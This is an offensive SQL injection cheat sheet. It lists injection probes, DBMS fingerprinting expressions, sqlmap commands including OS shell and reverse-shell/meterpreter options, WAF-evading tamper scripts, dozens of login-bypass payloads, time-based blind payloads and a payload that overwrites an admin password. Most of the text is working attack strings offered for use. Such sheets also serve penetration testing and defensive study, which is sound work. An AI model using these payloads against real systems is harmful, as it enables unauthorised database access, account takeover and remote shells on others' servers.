16 KiB
SQL injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
Entry point detection
Detection of an SQL injection entry point Simple characters
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
Multiple encoding
%%2727
%25%27
Merging characters
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
Logic Testing
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Weird characters
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
DBMS Identification
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
SQL injection using SQLmap
Basic arguments for SQLmap
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
Custom injection in UserAgent/Header/Referer/Cookie
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
Second order injection
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Shell
SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Using suffix to tamper the injection
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
General tamper option and tamper's list
tamper=name_of_the_tamper
Tamper | Description |
---|---|
apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
base64encode.py | Base64 all characters in a given payload |
between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' |
concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
escapequotes.py | Slash escape quotes (' and ") |
greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Embraces complete query with versioned comment |
modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
multiplespaces.py | Adds multiple spaces around SQL keywords |
nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters |
percentage.py | Adds a percentage sign ('%') infront of each character |
overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
randomcase.py | Replaces each keyword character with random case value |
randomcomments.py | Add random comments to SQL keywords |
securesphere.py | Appends special crafted string |
sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
space2comment.py | Replaces space character (' ') with comments |
space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
space2plus.py | Replaces space character (' ') with plus ('+') |
space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and |
unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
varnish.py | Append a HTTP header 'X-originating-IP' |
versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
Authentication bypass
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Time based
SQLite : AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) comment: -- /**/
MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/
Oracle : AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/
PostGreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) comment: -- /**/
PostGreSQL : AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) comment: -- /**/
SQL Server : IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement - ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
WAF Bypass
No Space (%20) - bypass using whitespace alternatives
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass using comments
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass using parenthesis
?id=(1)and(1)=(1)--
No Comma - bypass using OFFSET, FROM and JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Blacklist using keywords - bypass using uppercase/lowercase
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist using keywords case insensitive - bypass using an equivalent operator
AND -> &&
OR -> ||
= -> LIKE,REGEXP, not < and not >
> X -> not between 0 and X
WHERE -> HAVING
Information_schema.tables Alternative
select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+
Version Alternative
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> select @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
Thanks to - Other resources
- Detect SQLi
- MySQL:
- [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
- [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
- Alternative for Information_Schema.Tables in MySQL
- The SQL Injection Knowledge base
- MSQQL:
- [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php)
- [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
- ORACLE:
- [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
- POSTGRESQL:
- [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
- Others
- [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
- [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
- [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
- [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
- [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
- ForkBombers SQLMap Tamper Scripts Update
- SQLi in INSERT worse than SELECT
- Manual SQL Injection Tips
- Second Order:
- Sqlmap: